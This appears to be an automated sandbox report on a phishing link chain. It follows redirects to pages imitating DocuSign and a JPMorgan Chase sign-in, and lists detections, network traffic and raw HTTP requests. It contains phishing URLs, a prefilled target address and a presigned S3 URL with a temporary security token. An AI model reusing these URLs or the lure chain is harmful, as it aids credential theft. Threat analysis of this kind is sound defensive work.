Edit tour

Windows Analysis Report
https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af

Overview

General Information

Sample URL:	https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af
Analysis ID:	1608762
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish54

AI detected suspicious Javascript

Detected hidden input values containing email addresses (often used in phishing pages)

Detected suspicious crossdomain redirect

Form action URLs do not match main URL

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

No HTML title found

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 4868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1896,i,10867144827039366285,47479242592241981,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.24.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
6.10.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Suricata Signatures

ETPRO PHISHING Possible Netlify Hosted Phishing Request M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-06T22:52:55.537572+0100	2849632	2	Possible Social Engineering Attempted	192.168.2.16	49862	3.124.100.143	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/portal/script/mfaotpsms.js	Avira URL Cloud: Label: malware
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/fs/federationserverservice.asmx	Avira URL Cloud: Label: malware
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe	Avira URL Cloud: Label: malware
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE	Avira URL Cloud: Label: malware
Source: https://b8d1a7c1.nhubiubuniunuion.workers.dev/favicon.ico	Avira URL Cloud: Label: malware
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/favicon.ico	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	Joe Sandbox AI: Score: 9 Reasons: The brand 'DocuSign' is a well-known brand associated with electronic signature services., The URL 'embeds.beehiiv.com' does not match the legitimate domain 'docusign.com'., The domain 'beehiiv.com' is not associated with DocuSign and appears unrelated., The presence of an input field asking for an email on an unrelated domain is suspicious., The use of a subdomain 'embeds' does not align with typical DocuSign domain structures. DOM: 3.5.pages.csv
Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	Joe Sandbox AI: Score: 8 Reasons: The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'., The URL 'embeds.beehiiv.com' does not match the legitimate domain for DocuSign., The domain 'beehiiv.com' is unrelated to DocuSign and could indicate a third-party service., The presence of a subdomain 'embeds' suggests the possibility of embedding content, which could be used for phishing., The email domain 'jpmchase.net' is unrelated to DocuSign, adding to the suspicion. DOM: 3.6.pages.csv
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'JPMorgan Chase & Co.' is a well-known financial institution., The legitimate domain for JPMorgan Chase & Co. is 'jpmorganchase.com'., The provided URL '628jpkkq.nhubiubuniunuion.workers.dev' does not match the legitimate domain., The URL contains a random string and uses a 'workers.dev' domain, which is commonly used for cloud services and not directly associated with JPMorgan Chase & Co., The presence of input fields for 'User Account' and 'Password' on a non-legitimate domain is a common phishing tactic. DOM: 7.11.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 2.24.id.script.csv, type: HTML
Source: Yara match	File source: 6.10.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 2.19.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious redirection. The use of an obfuscated URL and the collection of user credentials through a third-party service (Turnstile) are highly indicative of malicious intent. Overall, this script poses a significant security risk and should be treated as a potential phishing or credential theft attempt.

Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true

HTTP Parser: joe.doe@jpmchase.net

Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: Form action: https://idag2.jpmorganchase.com:443/adfs/ls/?login_hint=joe.doe%40jpmchase.net&client-request-id=2da085e1-5d42-4244-bf91-a612ff4735bb&username=joe.doe%40jpmchase.net&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQeti7QdYp1cdo_cZnQf3fT3asYlQkboX-BkfEFI-MkJpGs_FS9lPxUh6yC3OSMxOJUvbzUkltMgv5F6Z4p4cVuqSmpRYklmfl5j5ixKr3AIvCKhceA2YqDg0uAQYJBgeEHC-MiVqC7tHUzz09--8Nz7vSiemkpJYZTrPoRmaaukdn6wc4BBcb5xR5J-SGBRobORmFljsmOySZuZiZe4V7mZrlZlSmRtuZWhhPYhCawMZ1iY_jAxtjBzjCLneEAJ-MBXoYffFfPvfzWdf_iO48NAgwPBBgA0 workers jpmorganchase
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: Form action: https://idag2.jpmorganchase.com:443/adfs/ls/?login_hint=joe.doe%40jpmchase.net&client-request-id=2e840914-1c1f-45ab-9676-55d4af801c23&username=joe.doe%40jpmchase.net&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAREOFv05GVWu04rC72yvkFGeRWjMmEj9C8wMr5gZJzEJJKVn6qXkp_qkFWQm5yRWJyql5dacotJ0L8o3TMlvNgtNSW1KLEkMz_vETNWpRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnQXV4XK19Ab9Q5bl94quPlNjeEUq35EpqlrZLZ-sHNAgXF-sUdSfkigkaGzUViZY7JjsombmYlXuJe5WW5WZUqkrZGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH34OeTTu7719857FBgOGBAAMA0 workers jpmorganchase
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: Form action: https://idag2.jpmorganchase.com:443/adfs/ls/?login_hint=joe.doe%40jpmchase.net&client-request-id=2e840914-1c1f-45ab-9676-55d4af801c23&username=joe.doe%40jpmchase.net&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAREOFv05GVWu04rC72yvkFGeRWjMmEj9C8wMr5gZJzEJJKVn6qXkp_qkFWQm5yRWJyql5dacotJ0L8o3TMlvNgtNSW1KLEkMz_vETNWpRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnQXV4XK19Ab9Q5bl94quPlNjeEUq35EpqlrZLZ-sHNAgXF-sUdSfkigkaGzUViZY7JjsombmYlXuJe5WW5WZUqkrZGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH34OeTTu7719857FBgOGBAAMA0 workers jpmorganchase
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: Form action: https://idag2.jpmorganchase.com:443/adfs/ls/?login_hint=joe.doe%40jpmchase.net&client-request-id=1fe2a5b6-5b7c-4b66-898b-c590979f8021&username=joe.doe%40jpmchase.net&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAS2LX0kXxOd5t3ZfXTC9PkNiqsYlQkboX-BkfEFI-MkJpGs_FS9lPxUh6yC3OSMxOJUvbzUkltMgv5F6Z4p4cVuqSmpRYklmfl5j5ixKr3AIvCKhceA2YqDg0uAQYJBgeEHC-MiVqC7Nszbs5rbabFX10WH92tCKxhOsepHZJq6RmbrBzsHFBjnF3sk5YcEGhk6G4WVOSY7Jpu4mZl4hXuZm-VmVaZE2ppbGU5gE5rAxnSKjeEDG2MHO8MsdoYDnIwHeBl-8LVt-j6n5_7Fdx4bBBgeCDAAAA2 workers jpmorganchase

Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: Number of links: 0
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646

HTTP Parser: Base64 decoded: 1738878766.000000

Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true

HTTP Parser: Title: Sign In does not match URL

Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: HTML title missing
Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: HTML title missing

Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-WJXL7FH
Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-WJXL7FH

Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true

HTTP Parser: <input type="password" .../> found

Source: https://net-sign.netlify.app/	HTTP Parser: No favicon
Source: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20250206T215232Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aDGV1LWNlbnRyYWwtMSJHMEUCIH%2BiUk65FkOAe86pXil%2FnPAPs1YkVFNHdUSoZyNCpgJmAiEA160qxTIKQIkPaYHrBEkkKLs3dNgkx%2F40FLgWwD3GFdEqgQMIZhAAGgw5MDgwMjc0MDA3MjEiDK1NqUL32DmOUmwv2ireAlY1mmUbFwJF5P2hiWS5k54jl%2FrtfONXdoO7cIK8GU6wxggDDRfOSFkb0iGh4ea2q%2FtqZHxfo5vKbLcItrXtzgiTb93efCDPDjoKOXPNCBWI6qBKk4P4dTPMgrLpv8YUyswQDiVJ6MzFoLrCQLoj%2BLmCSGsMOfAOpgPj62QYUmwif0mRQVZqqWBirS38r%2FJc4foz5UhTpXlkM%2B7tMZfORzszy%2BAmP%2Ftwxzx%2BYNBpkrKCZMBcD7JNYkzTyVTF1yCJG1eJaaM%2FjykUfP7VsXvhswNjWGX00OJpGsY3LjDw2PGr6X8IwFm4HwhLmUWTde7nPds85pzrXByptsGVBBAANDHGFtuyJ6bruhjwiL6lbQeAotcU1VZYGYbCk1OPYTknmEa19tVAstRcwKKpB2GrddypMtcEtVTnXyaOk9eNEhAsaqu2YTS6SUF38FmRe5JwdHeuoYL...	HTTP Parser: No favicon
Source: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20250206T215232Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aDGV1LWNlbnRyYWwtMSJHMEUCIH%2BiUk65FkOAe86pXil%2FnPAPs1YkVFNHdUSoZyNCpgJmAiEA160qxTIKQIkPaYHrBEkkKLs3dNgkx%2F40FLgWwD3GFdEqgQMIZhAAGgw5MDgwMjc0MDA3MjEiDK1NqUL32DmOUmwv2ireAlY1mmUbFwJF5P2hiWS5k54jl%2FrtfONXdoO7cIK8GU6wxggDDRfOSFkb0iGh4ea2q%2FtqZHxfo5vKbLcItrXtzgiTb93efCDPDjoKOXPNCBWI6qBKk4P4dTPMgrLpv8YUyswQDiVJ6MzFoLrCQLoj%2BLmCSGsMOfAOpgPj62QYUmwif0mRQVZqqWBirS38r%2FJc4foz5UhTpXlkM%2B7tMZfORzszy%2BAmP%2Ftwxzx%2BYNBpkrKCZMBcD7JNYkzTyVTF1yCJG1eJaaM%2FjykUfP7VsXvhswNjWGX00OJpGsY3LjDw2PGr6X8IwFm4HwhLmUWTde7nPds85pzrXByptsGVBBAANDHGFtuyJ6bruhjwiL6lbQeAotcU1VZYGYbCk1OPYTknmEa19tVAstRcwKKpB2GrddypMtcEtVTnXyaOk9eNEhAsaqu2YTS6SUF38FmRe5JwdHeuoYL...	HTTP Parser: No favicon
Source: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.net	HTTP Parser: No favicon
Source: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.net	HTTP Parser: No favicon
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net	HTTP Parser: No favicon
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No favicon
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No favicon
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No favicon
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No favicon

Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: No <meta name="author".. found
Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: No <meta name="author".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: No <meta name="copyright".. found
Source: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	HTTP Parser: No <meta name="copyright".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: uk.content.exclaimer.net to https://net-sign.netlify.app/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: alot-eight.vercel.app to https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646

Source: Network traffic

Suricata IDS: 2849632 - Severity 2 - ETPRO PHISHING Possible Netlify Hosted Phishing Request M1 : 192.168.2.16:49862 -> 3.124.100.143:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.0
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.0
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.0
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.0
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af HTTP/1.1Host: mailtrack.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?url=https%3A%2F%2Fnet-sign.netlify.app%2F&tenantid=c5qVnt2gEe-Qy2BFvdCCyg&templateid=529e0b1da8ddef1190cb6045bdd082ca&excomponentid=u83pNPiq0zqlY_7b5baT_bNDnmkUtfd_FgVa3JFXsmo&excomponenttype=Link&signature=HvZKpAk8HcOeW_EiUL9zJsfJm4uKSwk_wSs7VCbqgPkLHtw82EdjroFzquUH1u0KfiS9Q7TbLjifGK0LkQSBtzJeDabfB2gji-dpPNPx0f27kD4mqNTkP3pZd6ygOXYa2NwpiobZLuMR3DkdEe8LUW413c0vgFcDH6WPDb-llZcOFZ8berqD223_7kh5VN3Y2jckg3u8kWdZtX5i286yfEnJMuvkQ8l83FyU2uDZkWvdrb3MrfeEZsfYQbyRdSCAUmmUIyRuKv3_XShM5HpSLRNxO0Nv3xLAjZqy_BK6eBqmRrCiXFMeC_NOOFcRofoAOIFz1QdgIT9fNCDYiyLOqw&v=1&imprintMessageId=1610adac-5958-4b66-8fbf-bd5d251bfbef HTTP/1.1Host: uk.content.exclaimer.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: net-sign.netlify.appConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-zqIqfzzx.css HTTP/1.1Host: net-sign.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://net-sign.netlify.appsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://net-sign.netlify.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-CaUaz09t.js HTTP/1.1Host: net-sign.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://net-sign.netlify.appsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://net-sign.netlify.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-CaUaz09t.js HTTP/1.1Host: net-sign.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: net-sign.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://net-sign.netlify.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?token=be5e0bbc-ef74-408e-813f-b9c0fed9111b==&expiration=300 HTTP/1.1Host: ez9jkw1oy6.execute-api.eu-central-1.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://net-sign.netlify.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: net-sign.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
